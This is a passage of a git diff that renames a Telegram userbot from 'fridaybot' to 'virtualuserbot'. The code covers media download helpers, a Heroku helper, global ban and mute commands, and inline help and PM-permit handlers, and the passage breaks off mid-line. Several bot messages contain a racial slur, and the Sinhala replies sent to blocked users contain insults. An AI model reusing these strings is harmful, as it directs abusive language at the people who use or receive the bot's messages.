ytdl_data = ytdl.extract_info(url) + except Exception as e: + await event.edit(f"**Failed To Download** \n**Error :** `{str(e)}`") + return + c_time = time.time() + if song: + await event.edit( + f"**Uploading Audio**\ + \n**Title :** `{ytdl_data['title']}`\ + \n**Video Uploader :** `{ytdl_data['uploader']}`" + ) + lol_m = await tgbot.upload_file( + file=f"{ytdl_data['id']}.mp3", + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress( + d, + t, + event, + c_time, + "**Uploading Audio To TG**", + f"{ytdl_data['title']}.mp3", + ) + ), + ) + await event.edit( + file=lol_m, + text=f"{ytdl_data['title']} \n**Uploaded Using @VirtualUserbot**", + ) + os.remove(f"{ytdl_data['id']}.mp3") + elif video: + await event.edit( + f"**Uploading Video**\ + \n**Title :** `{ytdl_data['title']}`\ + \n**Video Uploader :** `{ytdl_data['uploader']}`" + ) + hmmo = await tgbot.upload_file( + file=f"{ytdl_data['id']}.mp4", + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress( + d, + t, + event, + c_time, + "**Uploading Video To TG**", + f"{ytdl_data['title']}.mp4", + ) + ), + ) + await event.edit( + file=hmmo, text=f"{ytdl_data['title']} \n**Uploaded Using @VirtualUserbot**" + ) + os.remove(f"{ytdl_data['id']}.mp4") + + +async def _deezer_dl(word, event, tgbot): + await event.edit( + "`Ok Downloading This Audio - Please Wait.` \n**Powered By @VirtualUserbot**" + ) + link = f"https://api.deezer.com/search?q={word}&limit=1" + dato = requests.get(url=link).json() + match = dato.get("data") + urlhp = match[0] + urlp = urlhp.get("link") + polu = urlhp.get("artist") + replo = urlp[29:] + urlp = f"https://starkapi.herokuapp.com/deezer/{replo}" + datto = requests.get(url=urlp).json() + mus = datto.get("url") + urlhp["album"]["cover_medium"] + sname = f"""{urlhp.get("title")}.mp3""" + doc = requests.get(mus) + with open(sname, "wb") as f: + f.write(doc.content) + car = f""" +**Song Name :** {urlhp.get("title")} +**Duration :** {urlhp.get('duration')} Seconds +**Artist :** {polu.get("name")} +Music Downloaded And Uploaded By VirtualUserbot +Get Your VirtualUserbot From @VirtualUserbot""" + await event.edit("Song Downloaded. Waiting To Upload. 🥳🤗") + c_time = time.time() + uploaded_file = await upload_file( + file_name=sname, + client=tgbot, + file=open(sname, "rb"), + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, event, c_time, "Uploading..", sname) + ), + ) + + await event.edit( + file=uploaded_file, + text=f"""{urlhp.get("title")} \n**Uploaded Using @VirtualUserbot**""", + ) + os.remove(sname) + + +async def get_all_admin_chats(event): + lul_stark = [] + all_chats = [ + d.entity + for d in await event.client.get_dialogs() + if (d.is_group or d.is_channel) + ] + for i in all_chats: + if i.creator or i.admin_rights: + lul_stark.append(i.id) + return lul_stark + + +async def is_admin(event, user): + sed = await event.client.get_permissions(event.chat_id, user) + if sed.is_admin: + is_mod = True + else: + is_mod = False + return is_mod diff --git a/fridaybot/function/apis.py b/virtualuserbot/function/apis.py similarity index 100% rename from fridaybot/function/apis.py rename to virtualuserbot/function/apis.py diff --git a/fridaybot/function/fridayfunction.py b/virtualuserbot/function/fridayfunction.py similarity index 100% rename from fridaybot/function/fridayfunction.py rename to virtualuserbot/function/fridayfunction.py diff --git a/virtualuserbot/function/heroku_helper.py b/virtualuserbot/function/heroku_helper.py new file mode 100644 index 00000000..4b5a82f6 --- /dev/null +++ b/virtualuserbot/function/heroku_helper.py @@ -0,0 +1,30 @@ +# Ported From https://github.com/jaskaranSM/HerokuManagerBot + +import heroku3 + +from var import Var + +herokuclient = heroku3.from_key(Var.HEROKU_API_KEY) + + +class HerokuHelper: + def __init__(self, appName, apiKey): + self.API_KEY = apiKey + self.APP_NAME = appName + self.herokuclient = self.getherokuclient() + self.app = self.herokuclient.apps()[self.APP_NAME] + + def getherokuclient(self): + return heroku3.from_key(self.API_KEY) + + def getAccount(self): + return self.herokuclient.account() + + def getLog(self): + return self.app.get_log() + + def addEnvVar(self, key, value): + self.app.config()[key] = value + + def restart(self): + return self.app.restart() diff --git a/fridaybot/googol_images.py b/virtualuserbot/googol_images.py similarity index 100% rename from fridaybot/googol_images.py rename to virtualuserbot/googol_images.py diff --git a/fridaybot/modules/README.md b/virtualuserbot/modules/README.md similarity index 68% rename from fridaybot/modules/README.md rename to virtualuserbot/modules/README.md index 54eaf93e..d66bca74 100644 --- a/fridaybot/modules/README.md +++ b/virtualuserbot/modules/README.md @@ -1,8 +1,11 @@ -## VirtualUserbot (Based on FridayUserbot by StarkGang) +# Modules of VirtualUserbot + + +## Credits to FridayUserbot # EXAMPLE CODE ! ```python3 -from fridaybot.utils import friday_on_cmd, sudo_cmd, edit_or_reply -from fridaybot.Configs import Config +from virtualuserbot.utils import friday_on_cmd, sudo_cmd, edit_or_reply +from virtualuserbot.Configs import Config @friday.on(friday_on_cmd(pattern="alive")) @friday.on(sudo_cmd(pattern="alive", allow_sudo=True)) async def hello_world(event): diff --git a/fridaybot/modules/gtools.py b/virtualuserbot/modules/Ultragtools.py similarity index 77% rename from fridaybot/modules/gtools.py rename to virtualuserbot/modules/Ultragtools.py index 7e399516..561d2804 100644 --- a/fridaybot/modules/gtools.py +++ b/virtualuserbot/modules/Ultragtools.py @@ -1,294 +1,298 @@ -import asyncio - -from telethon.events import ChatAction -from telethon.tl.functions.contacts import BlockRequest, UnblockRequest -from telethon.tl.types import MessageEntityMentionName - -from fridaybot import CMD_HELP -from fridaybot.modules.sql_helper.mute_sql import is_muted, mute, unmute -from fridaybot.utils import friday_on_cmd - - -async def get_full_user(event): - args = event.pattern_match.group(1).split(":", 1) - extra = None - if event.reply_to_msg_id and not len(args) == 2: - previous_message = await event.get_reply_message() - user_obj = await event.client.get_entity(previous_message.from_id) - extra = event.pattern_match.group(1) - elif len(args[0]) > 0: - user = args[0] - if len(args) == 2: - extra = args[1] - if user.isnumeric(): - user = int(user) - if not user: - await event.edit("`User ID Is Required") - return - if event.message.entities is not None: - probable_user_mention_entity = event.message.entities[0] - if isinstance(probable_user_mention_entity, MessageEntityMentionName): - user_id = probable_user_mention_entity.user_id - user_obj = await event.client.get_entity(user_id) - return user_obj - try: - user_obj = await event.client.get_entity(user) - except Exception as err: - return await event.edit("Something Went Wrong", str(err)) - return user_obj, extra - - -async def get_user_from_id(user, event): - if isinstance(user, str): - user = int(user) - try: - user_obj = await event.client.get_entity(user) - except (TypeError, ValueError) as err: - await event.edit(str(err)) - return None - return user_obj - - -@friday.on(friday_on_cmd(pattern="gban ?(.*)")) -async def gspider(fridaybot): - lol = fridaybot - sender = await lol.get_sender() - me = await lol.client.get_me() - if not sender.id == me.id: - friday = await lol.reply("Gbanning This User !") - else: - friday = await lol.edit("Wait Processing.....") - me = await fridaybot.client.get_me() - await friday.edit(f"Global Ban Is Coming ! Wait And Watch You Nigga") - my_mention = "[{}](tg://user?id={})".format(me.first_name, me.id) - f"@{me.username}" if me.username else my_mention - await fridaybot.get_chat() - a = b = 0 - if fridaybot.is_private: - user = fridaybot.chat - reason = fridaybot.pattern_match.group(1) - else: - fridaybot.chat.title - try: - user, reason = await get_full_user(fridaybot) - except: - pass - try: - if not reason: - reason = "Private" - except: - return await friday.edit(f"**Something W3NT Wrong 🤔**") - if user: - if user.id == 1263617196: - return await friday.edit( - f"**Didn't , Your Father Teach You ? That You Cant Gban Dev**" - ) - try: - from fridaybot.modules.sql_helper.gmute_sql import gmute - except: - pass - try: - await fridaybot.client(BlockRequest(user)) - except: - pass - testfridaybot = [ - d.entity.id - for d in await fridaybot.client.get_dialogs() - if (d.is_group or d.is_channel) - ] - for i in testfridaybot: - try: - await fridaybot.client.edit_permissions(i, user, view_messages=False) - a += 1 - await friday.edit(f"**GBANNED // Total Affected Chats **: `{a}`") - except: - b += 1 - else: - await friday.edit(f"**Reply to a user !!**") - try: - if gmute(user.id) is False: - return await friday.edit(f"**Error! User probably already gbanned.**") - except: - pass - return await friday.edit( - f"**Gbanned [{user.first_name}](tg://user?id={user.id}) Affected Chats : {a} **" - ) - - -@friday.on(friday_on_cmd(pattern="ungban ?(.*)")) -async def gspider(fridaybot): - lol = fridaybot - sender = await lol.get_sender() - me = await lol.client.get_me() - if not sender.id == me.id: - friday = await lol.reply("`Wait Let Me Process`") - else: - friday = await lol.edit("One Min ! ") - me = await fridaybot.client.get_me() - await friday.edit(f"Trying To Ungban User !") - my_mention = "[{}](tg://user?id={})".format(me.first_name, me.id) - f"@{me.username}" if me.username else my_mention - await fridaybot.get_chat() - a = b = 0 - if fridaybot.is_private: - user = fridaybot.chat - reason = fridaybot.pattern_match.group(1) - else: - fridaybot.chat.title - try: - user, reason = await get_full_user(fridaybot) - except: - pass - try: - if not reason: - reason = "Private" - except: - return await friday.edit("Someting Went Wrong 🤔") - if user: - if user.id == 1263617196: - return await friday.edit("**You Cant Ungban A Dev !**") - try: - from fridaybot.modules.sql_helper.gmute_sql import ungmute - except: - pass - try: - await fridaybot.client(UnblockRequest(user)) - except: - pass - testfridaybot = [ - d.entity.id - for d in await fridaybot.client.get_dialogs() - if (d.is_group or d.is_channel) - ] - for i in testfridaybot: - try: - await fridaybot.client.edit_permissions(i, user, send_messages=True) - a += 1 - await friday.edit(f"**UNGBANNING // AFFECTED CHATS - {a} **") - except: - b += 1 - else: - await friday.edit("**Reply to a user !!**") - try: - if ungmute(user.id) is False: - return await friday.edit("**Error! User probably already ungbanned.**") - except: - pass - return await friday.edit( - f"**UNGBANNED // USER - [{user.first_name}](tg://user?id={user.id}) CHATS : {a} **" - ) - - -@friday.on(ChatAction) -async def handler(rkG): - if rkG.user_joined or rkG.user_added: - try: - from fridaybot.modules.sql_helper.gmute_sql import is_gmuted - - guser = await rkG.get_user() - gmuted = is_gmuted(guser.id) - except: - return - if gmuted: - for i in gmuted: - if i.sender == str(guser.id): - chat = await rkG.get_chat() - admin = chat.admin_rights - creator = chat.creator - if admin or creator: - try: - await client.edit_permissions( - rkG.chat_id, guser.id, view_messages=False - ) - await rkG.reply( - f"**Gbanned User Joined!!** \n" - f"**Victim Id**: [{guser.id}](tg://user?id={guser.id})\n" - f"**Action ** : `Banned`" - ) - except: - rkG.reply("`No Permission To Ban`") - return - - -@friday.on(friday_on_cmd(pattern=r"gmute ?(\d+)?")) -async def startgmute(event): - private = False - if event.fwd_from: - return - elif event.is_private: - await event.edit("Unexpected issues or ugly errors may occur!") - await asyncio.sleep(3) - private = True - reply = await event.get_reply_message() - if event.pattern_match.group(1) is not None: - userid = event.pattern_match.group(1) - elif reply is not None: - userid = reply.sender_id - elif private is True: - userid = event.chat_id - else: - return await event.edit( - "Please reply to a user or add their into the command to gmute them." - ) - event.chat_id - await event.get_chat() - if is_muted(userid, "gmute"): - return await event.edit("`He has Tap Already On His Mouth.`") - try: - mute(userid, "gmute") - except Exception as e: - await event.edit("Error occured!\nError is " + str(e)) - else: - await event.edit("Here A Tape, Now Shutup \nGmuteD") - - -@friday.on(friday_on_cmd(pattern=r"ungmute ?(\d+)?")) -async def endgmute(event): - private = False - if event.fwd_from: - return - elif event.is_private: - await event.edit("Unexpected issues or ugly errors may occur!") - await asyncio.sleep(3) - private = True - reply = await event.get_reply_message() - if event.pattern_match.group(1) is not None: - userid = event.pattern_match.group(1) - elif reply is not None: - userid = reply.sender_id - elif private is True: - userid = event.chat_id - else: - return await event.edit( - "Please reply to a user or add their into the command to ungmute them." - ) - event.chat_id - if not is_muted(userid, "gmute"): - return await event.edit("This user is not gmuted") - try: - unmute(userid, "gmute") - except Exception as e: - await event.edit("Error occured!\nError is " + str(e)) - else: - await event.edit("Successfully ungmuted that person") - - -@command(incoming=True) -async def watcher(event): - if is_muted(event.sender_id, "gmute"): - await event.delete() - - -CMD_HELP.update( - { - "gtools": "**Global Tools**\ -\n\n**Syntax : **`.gmute `\ -\n**Usage :** Gmute User And Delete His Msg.\ -\n\n**Syntax : **`.ungmute `\ -\n**Usage :** UnGmute User And Stops Deleting His Msgs.\ -\n\n**Syntax : **`.gban `\ -\n**Usage :** Gban User And Blow Him From Your Groups\ -\n\n**Syntax : **`.ungban `\ -\n**Usage :** Ugban User." - } -) +import asyncio + +from telethon.events import ChatAction +from telethon.tl.functions.contacts import BlockRequest, UnblockRequest +from telethon.tl.types import MessageEntityMentionName + +from virtualuserbot import CMD_HELP +from virtualuserbot.modules.sql_helper.mute_sql import is_muted, mute, unmute +from virtualuserbot.utils import friday_on_cmd + + +async def get_full_user(event): + args = event.pattern_match.group(1).split(":", 1) + extra = None + if event.reply_to_msg_id and not len(args) == 2: + previous_message = await event.get_reply_message() + user_obj = await event.client.get_entity(previous_message.sender_id) + extra = event.pattern_match.group(1) + elif len(args[0]) > 0: + user = args[0] + if len(args) == 2: + extra = args[1] + if user.isnumeric(): + user = int(user) + if not user: + await event.edit("`User ID Is Required") + return + if event.message.entities is not None: + probable_user_mention_entity = event.message.entities[0] + if isinstance(probable_user_mention_entity, MessageEntityMentionName): + user_id = probable_user_mention_entity.user_id + user_obj = await event.client.get_entity(user_id) + return user_obj + try: + user_obj = await event.client.get_entity(user) + except Exception as err: + return await event.edit("Something Went Wrong", str(err)) + return user_obj, extra + + +async def get_user_sender_id(user, event): + if isinstance(user, str): + user = int(user) + try: + user_obj = await event.client.get_entity(user) + except (TypeError, ValueError) as err: + await event.edit(str(err)) + return None + return user_obj + + +@friday.on(friday_on_cmd(pattern="ultragban ?(.*)")) +async def gspider(virtualuserbot): + lol = virtualuserbot + sender = await lol.get_sender() + me = await lol.client.get_me() + if not sender.id == me.id: + friday = await lol.reply("Gbanning This User !") + else: + friday = await lol.edit("Wait Processing.....") + me = await virtualuserbot.client.get_me() + await friday.edit(f"Global Ban Is Coming ! Wait And Watch You Nigga") + my_mention = "[{}](tg://user?id={})".format(me.first_name, me.id) + f"@{me.username}" if me.username else my_mention + await virtualuserbot.get_chat() + a = b = 0 + if virtualuserbot.is_private: + user = virtualuserbot.chat + reason = virtualuserbot.pattern_match.group(1) + else: + virtualuserbot.chat.title + try: + user, reason = await get_full_user(virtualuserbot) + except: + pass + try: + if not reason: + reason = "Private" + except: + return await friday.edit(f"**Something W3NT Wrong 🤔**") + if user: + if user.id == 1263617196: + return await friday.edit( + f"**Didn't , Your Father Teach You ? That You Cant Gban Dev**" + ) + try: + from virtualuserbot.modules.sql_helper.gmute_sql import gmute + except: + pass + try: + await virtualuserbot.client(BlockRequest(user)) + except: + pass + testvirtualuserbot = [ + d.entity.id + for d in await virtualuserbot.client.get_dialogs() + if (d.is_group or d.is_channel) + ] + for i in testvirtualuserbot: + try: + await virtualuserbot.client.edit_permissions( + i, user, view_messages=False + ) + a += 1 + await friday.edit(f"**GBANNED // Total Affected Chats **: `{a}`") + except: + b += 1 + else: + await friday.edit(f"**Reply to a user !!**") + try: + if gmute(user.id) is False: + return await friday.edit(f"**Error! User probably already gbanned.**") + except: + pass + return await friday.edit( + f"**Gbanned [{user.first_name}](tg://user?id={user.id}) Affected Chats : {a} **" + ) + + +@friday.on(friday_on_cmd(pattern="ultraungban ?(.*)")) +async def gspider(virtualuserbot): + lol = virtualuserbot + sender = await lol.get_sender() + me = await lol.client.get_me() + if not sender.id == me.id: + friday = await lol.reply("`Wait Let Me Process`") + else: + friday = await lol.edit("One Min ! ") + me = await virtualuserbot.client.get_me() + await friday.edit(f"Trying To Ungban User !") + my_mention = "[{}](tg://user?id={})".format(me.first_name, me.id) + f"@{me.username}" if me.username else my_mention + await virtualuserbot.get_chat() + a = b = 0 + if virtualuserbot.is_private: + user = virtualuserbot.chat + reason = virtualuserbot.pattern_match.group(1) + else: + virtualuserbot.chat.title + try: + user, reason = await get_full_user(virtualuserbot) + except: + pass + try: + if not reason: + reason = "Private" + except: + return await friday.edit("Someting Went Wrong 🤔") + if user: + if user.id == 1263617196: + return await friday.edit("**You Cant Ungban A Dev !**") + try: + from virtualuserbot.modules.sql_helper.gmute_sql import ungmute + except: + pass + try: + await virtualuserbot.client(UnblockRequest(user)) + except: + pass + testvirtualuserbot = [ + d.entity.id + for d in await virtualuserbot.client.get_dialogs() + if (d.is_group or d.is_channel) + ] + for i in testvirtualuserbot: + try: + await virtualuserbot.client.edit_permissions( + i, user, send_messages=True + ) + a += 1 + await friday.edit(f"**UNGBANNING // AFFECTED CHATS - {a} **") + except: + b += 1 + else: + await friday.edit("**Reply to a user !!**") + try: + if ungmute(user.id) is False: + return await friday.edit("**Error! User probably already ungbanned.**") + except: + pass + return await friday.edit( + f"**UNGBANNED // USER - [{user.first_name}](tg://user?id={user.id}) CHATS : {a} **" + ) + + +@friday.on(ChatAction) +async def handler(rkG): + if rkG.user_joined or rkG.user_added: + try: + from virtualuserbot.modules.sql_helper.gmute_sql import is_gmuted + + guser = await rkG.get_user() + gmuted = is_gmuted(guser.id) + except: + return + if gmuted: + for i in gmuted: + if i.sender == str(guser.id): + chat = await rkG.get_chat() + admin = chat.admin_rights + creator = chat.creator + if admin or creator: + try: + await client.edit_permissions( + rkG.chat_id, guser.id, view_messages=False + ) + await rkG.reply( + f"**Gbanned User Joined!!** \n" + f"**Victim Id**: [{guser.id}](tg://user?id={guser.id})\n" + f"**Action ** : `Banned`" + ) + except: + rkG.reply("`No Permission To Ban`") + return + + +@friday.on(friday_on_cmd(pattern=r"ultragmute ?(\d+)?")) +async def startgmute(event): + private = False + if event.fwd_from: + return + elif event.is_private: + await event.edit("Unexpected issues or ugly errors may occur!") + await asyncio.sleep(3) + private = True + reply = await event.get_reply_message() + if event.pattern_match.group(1) is not None: + userid = event.pattern_match.group(1) + elif reply is not None: + userid = reply.sender_id + elif private is True: + userid = event.chat_id + else: + return await event.edit( + "Please reply to a user or add their into the command to gmute them." + ) + event.chat_id + await event.get_chat() + if is_muted(userid, "gmute"): + return await event.edit("`He has Tap Already On His Mouth.`") + try: + mute(userid, "gmute") + except Exception as e: + await event.edit("Error occured!\nError is " + str(e)) + else: + await event.edit("Here A Tape, Now Shutup \nGmuteD") + + +@friday.on(friday_on_cmd(pattern=r"ultraungmute ?(\d+)?")) +async def endgmute(event): + private = False + if event.fwd_from: + return + elif event.is_private: + await event.edit("Unexpected issues or ugly errors may occur!") + await asyncio.sleep(3) + private = True + reply = await event.get_reply_message() + if event.pattern_match.group(1) is not None: + userid = event.pattern_match.group(1) + elif reply is not None: + userid = reply.sender_id + elif private is True: + userid = event.chat_id + else: + return await event.edit( + "Please reply to a user or add their into the command to ungmute them." + ) + event.chat_id + if not is_muted(userid, "gmute"): + return await event.edit("This user is not gmuted") + try: + unmute(userid, "gmute") + except Exception as e: + await event.edit("Error occured!\nError is " + str(e)) + else: + await event.edit("Successfully ungmuted that person") + + +@command(incoming=True) +async def watcher(event): + if is_muted(event.sender_id, "gmute"): + await event.delete() + + +CMD_HELP.update( + { + "ultra gtools": "**Global Tools ULTRA**\ +\n\n**Syntax : **`.ultragmute `\ +\n**Usage :** Gmute User And Delete His Msg.\ +\n\n**Syntax : **`.ultraungmute `\ +\n**Usage :** UnGmute User And Stops Deleting His Msgs.\ +\n\n**Syntax : **`.ultragban `\ +\n**Usage :** Gban User And Blow Him From Your Groups\ +\n\n**Syntax : **`.ultraungban `\ +\n**Usage :** Ugban User." + } +) diff --git a/virtualuserbot/modules/WhatsNew.py b/virtualuserbot/modules/WhatsNew.py new file mode 100644 index 00000000..2b5c7197 --- /dev/null +++ b/virtualuserbot/modules/WhatsNew.py @@ -0,0 +1,26 @@ +from virtualuserbot import CMD_HELP + +CMD_HELP.update( + { + "Whats New": """**Mini Update 3.1 :** VirtualUserbot New features + Fixed the Errors. + + ** Errors and Bug Fixes ** + No errors anymore.. All logging features running now + + ** Custom Emoji on Help ** + `.set var EMOJI_TO_DISPLAY_IN_HELP ` + + ** Stickers Improovements ** + Kang any Media + + ** New qbot ** + `.qbot` to create quotes + + ** Plus More Features ** + PM Protection done right. Translation also done right + + ** Many Bug Fixes ** +""" + } +) diff --git a/fridaybot/modules/__init__.py b/virtualuserbot/modules/__init__.py similarity index 85% rename from fridaybot/modules/__init__.py rename to virtualuserbot/modules/__init__.py index f991b8e7..421c7fd0 100644 --- a/fridaybot/modules/__init__.py +++ b/virtualuserbot/modules/__init__.py @@ -1,10 +1,7 @@ -from fridaybot import topfunc -from fridaybot.Configs import Config -from fridaybot.utils import friday_on_cmd from var import Var +from virtualuserbot.Configs import Config +from virtualuserbot.utils import friday_on_cmd -idgen = topfunc.id_generator -findnemo = topfunc.stark_finder issudousing = Config.SUDO_USERS islogokay = Config.PRIVATE_GROUP_ID isdbfine = Var.DB_URI @@ -13,7 +10,7 @@ wttrapi = Config.OPEN_WEATHER_MAP_APPID rmbg = Config.REM_BG_API_KEY hmmok = Config.LYDIA_API -currentversion = "4.0" +currentversion = "3.1" if issudousing: amiusingsudo = "Active ✅" else: diff --git a/fridaybot/modules/_helper.py b/virtualuserbot/modules/_helper.py similarity index 77% rename from fridaybot/modules/_helper.py rename to virtualuserbot/modules/_helper.py index 42d5fe6f..a7c5155a 100644 --- a/fridaybot/modules/_helper.py +++ b/virtualuserbot/modules/_helper.py @@ -1,7 +1,10 @@ -from fridaybot import CMD_LIST +from virtualuserbot import ALIVE_NAME, CMD_LIST, lang +from virtualuserbot.utils import friday_on_cmd +DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot" -@command(pattern="^.help ?(.*)") + +@borg.on(friday_on_cmd(pattern="help ?(.*)")) async def cmd_list(event): if not event.text[0].isalpha() and event.text[0] not in ("/", "#", "@", "!"): tgbotusername = Var.TG_BOT_USER_NAME_BF_HER @@ -29,8 +32,8 @@ async def cmd_list(event): else: await event.edit(input_str + " is not a valid plugin!") else: - help_string = """VirtualUserbot Modules Are Listed Here !\n -For More Help or Support contact Devs @InfinityJE""" + help_string = f"""VirtualUserbot Modules Are Listed Here !\n +For More Help or Support contact {DEFAULTUSER}\nCurrently Used Language - {lang}""" results = await bot.inline_query( # pylint:disable=E0602 tgbotusername, help_string ) diff --git a/virtualuserbot/modules/_inlinebot.py b/virtualuserbot/modules/_inlinebot.py new file mode 100644 index 00000000..b2235230 --- /dev/null +++ b/virtualuserbot/modules/_inlinebot.py @@ -0,0 +1,926 @@ +import os +import re +import urllib +from math import ceil +from re import findall +from urllib.parse import quote + +import requests +from pornhub_api import PornhubApi +from search_engine_parser import GoogleSearch +from telethon import Button, custom, events, functions +from youtube_search import YoutubeSearch + +from virtualuserbot import ALIVE_NAME, CMD_HELP, CMD_LIST, lang +from virtualuserbot.function import _deezer_dl, _ytdl +from virtualuserbot.modules import inlinestats + +PMPERMIT_PIC = os.environ.get("PMPERMIT_PIC", None) +if PMPERMIT_PIC is None: + WARN_PIC = "https://telegra.ph/file/0e7a45ed44e17ce68d8cd.png" +else: + WARN_PIC = PMPERMIT_PIC +LOG_CHAT = Config.PRIVATE_GROUP_ID +DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot" + +if lang == "si": + + @tgbot.on(events.InlineQuery) + async def inline_handler(event): + builder = event.builder + result = None + query = event.text + if event.query.user_id == bot.uid and query.startswith("VirtualUserbot"): + rev_text = query[::-1] + buttons = paginate_help(0, CMD_HELP, "helpme") + result = builder.article( + "© Userbot Help", + text="{}\nCurrently Loaded Plugins: {}".format(query, len(CMD_LIST)), + buttons=buttons, + link_preview=False, + ) + await event.answer([result]) + elif event.query.user_id == bot.uid and query == "stats": + result = builder.article( + title="Stats", + text=f"**Showing Stats For {DEFAULTUSER}'s VirtualUserbot** \nNote --> Only Owner Can Check This \n(C) [VirtualUserbot](https://github.com/inukaasith/virtualuserbot)", + buttons=[ + [custom.Button.inline("Show Stats ?", data="terminator")], + [Button.url("Developed By", "https://github.com/Inukaasith")], + [Button.url("Support Chat❤️", "t.me/InfinityJE")], + ], + ) + await event.answer([result]) + elif event.query.user_id == bot.uid and query.startswith("**Hello"): + result = builder.photo( + file=WARN_PIC, + text=query, + buttons=[ + [custom.Button.inline("Spamming", data="dontspamnigga")], + [ + custom.Button.inline( + "Casual Talk", + data="whattalk", + ) + ], + [custom.Button.inline("Requesting", data="askme")], + ], + ) + await event.answer([result]) + + @tgbot.on( + events.callbackquery.CallbackQuery( # pylint:disable=E0602 + data=re.compile(b"helpme_next\((.+?)\)") + ) + ) + async def on_plug_in_callback_query_handler(event): + if event.query.user_id == bot.uid: + current_page_number = int(event.data_match.group(1).decode("UTF-8")) + buttons = paginate_help(current_page_number + 1, CMD_HELP, "helpme") + # https://t.me/TelethonChat/115200 + await event.edit(buttons=buttons) + else: + reply_popp_up_alert = "ඔය මොකද කරන්නෙ, මේක ඔයාගෙ නෙමේ!" + await event.answer(reply_popp_up_alert, cache_time=0, alert=True) + + @tgbot.on( + events.callbackquery.CallbackQuery( # pylint:disable=E0602 + data=re.compile(b"helpme_prev\((.+?)\)") + ) + ) + async def on_plug_in_callback_query_handler(event): + if event.query.user_id == bot.uid: # pylint:disable=E0602 + current_page_number = int(event.data_match.group(1).decode("UTF-8")) + buttons = paginate_help( + current_page_number - 1, CMD_HELP, "helpme" # pylint:disable=E0602 + ) + # https://t.me/TelethonChat/115200 + await event.edit(buttons=buttons) + else: + reply_pop_up_alert = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්.!" + await event.answer(reply_pop_up_alert, cache_time=0, alert=True) + + @tgbot.on( + events.callbackquery.CallbackQuery( # pylint:disable=E0602 + data=re.compile(b"us_plugin_(.*)") + ) + ) + async def on_plug_in_callback_query_handler(event): + if not event.query.user_id == bot.uid: + sedok = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්." + await event.answer(sedok, cache_time=0, alert=True) + return + plugin_name = event.data_match.group(1).decode("UTF-8") + if plugin_name in CMD_HELP: + help_string = ( + f"**🦹‍♀️ PLUGIN NAME 🦹‍♀️ :** `{plugin_name}` \n{CMD_HELP[plugin_name]}" + ) + reply_pop_up_alert = help_string + reply_pop_up_alert += "\n\n**(C) @VirtualUserbot ** ".format(plugin_name) + if len(reply_pop_up_alert) >= 4096: + crackexy = "`Pasting Your Help Menu.`" + await event.answer(crackexy, cache_time=0, alert=True) + out_file = reply_pop_up_alert + url = "https://del.dog/documents" + r = requests.post(url, data=out_file.encode("UTF-8")).json() + url = f"https://del.dog/{r['key']}" + await event.edit( + f"Pasted {plugin_name} to {url}", + link_preview=False, + buttons=[[custom.Button.inline("Go Back", data="backme")]], + ) + else: + await event.edit( + message=reply_pop_up_alert, + buttons=[[custom.Button.inline("Go Back", data="backme")]], + ) + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"terminator"))) + async def rip(event): + if event.query.user_id == bot.uid: + text = inlinestats + await event.answer(text, alert=True) + else: + txt = "You Can't View My Masters Stats" + await event.answer(txt, alert=True) + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_dla_(.*)"))) + async def rip(event): + yt_dl_data = event.data_match.group(1).decode("UTF-8") + link_s = yt_dl_data + if event.query.user_id != bot.uid: + text = f"Please Get Your Own VirtualUserbot And Don't Waste My Resources" + await event.answer(text, alert=True) + return + is_it = True + await _ytdl(link_s, is_it, event, tgbot) + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"deezer_dl_(.*)"))) + async def rip(event): + sun = event.data_match.group(1).decode("UTF-8") + + if event.query.user_id != bot.uid: + text = f"Please Get Your Own Friday And Don't Waste My Resources" + await event.answer(text, alert=True) + return + await _deezer_dl(sun, event, tgbot) + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_vid_(.*)"))) + async def rip(event): + yt_dl_data = event.data_match.group(1).decode("UTF-8") + link_s = yt_dl_data + if event.query.user_id != bot.uid: + text = f"Please Get Your Own VirtualUserbot And Don't Waste My Resources" + await event.answer(text, alert=True) + return + is_it = False + await _ytdl(link_s, is_it, event, tgbot) + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"ph_dl_(.*)"))) + async def rip(event): + link_s = event.pattern_match.group(1) + if event.query.user_id != bot.uid: + text = f"Please Get Your Own VirtualUserbot And Don't Waste My Resources." + await event.answer(text, alert=True) + return + await _phdl(link_s, event, tgbot) + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"dontspamnigga"))) + async def rip(event): + if event.query.user_id == bot.uid: + sedok = "Master, You Don't Need To Use This." + await event.answer(sedok, cache_time=0, alert=True) + return + await event.get_chat() + him_id = event.query.user_id + text1 = "ඔයා ඇවිත් තියෙන්නෙ හොඳ දේකට නෙමේ.. ඔයා තෝරපු එක පිළිගන්න බෑ.. ඒක නිසා ඔයාව Block කරනවා" + await event.edit("ඔයා තෝරපු එක පිළිගන්න බෑ ❌") + await borg.send_message(event.query.user_id, text1) + await borg(functions.contacts.BlockRequest(event.query.user_id)) + await borg.send_message( + LOG_CHAT, + f"ආයුබෝවන්, මෝඩ [පකයා](tg://user?id={him_id}) තහන්ම් එකක් තෝරපු නිසා Block කරා", + ) + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"backme"))) + async def sed(event): + if event.query.user_id != bot.uid: + sedok = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්." + await event.answer(sedok, cache_time=0, alert=True) + return + await event.answer("Back", cache_time=0, alert=False) + # This Is Copy of Above Code. (C) @SpEcHiDe + buttons = paginate_help(0, CMD_HELP, "helpme") + sed = f"""VirtualUserbot Modules Are Listed Here !\n + For More Help or Support contact {DEFAULTUSER} \nCurrently Loaded Plugins: {len(CMD_LIST)}\nCurrently using Language - Sinhala (Sinhalese)""" + await event.edit(message=sed, buttons=buttons) + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"whattalk"))) + async def rip(event): + if event.query.user_id == bot.uid: + sedok = "Master, You Don't Need To Use This." + await event.answer(sedok, 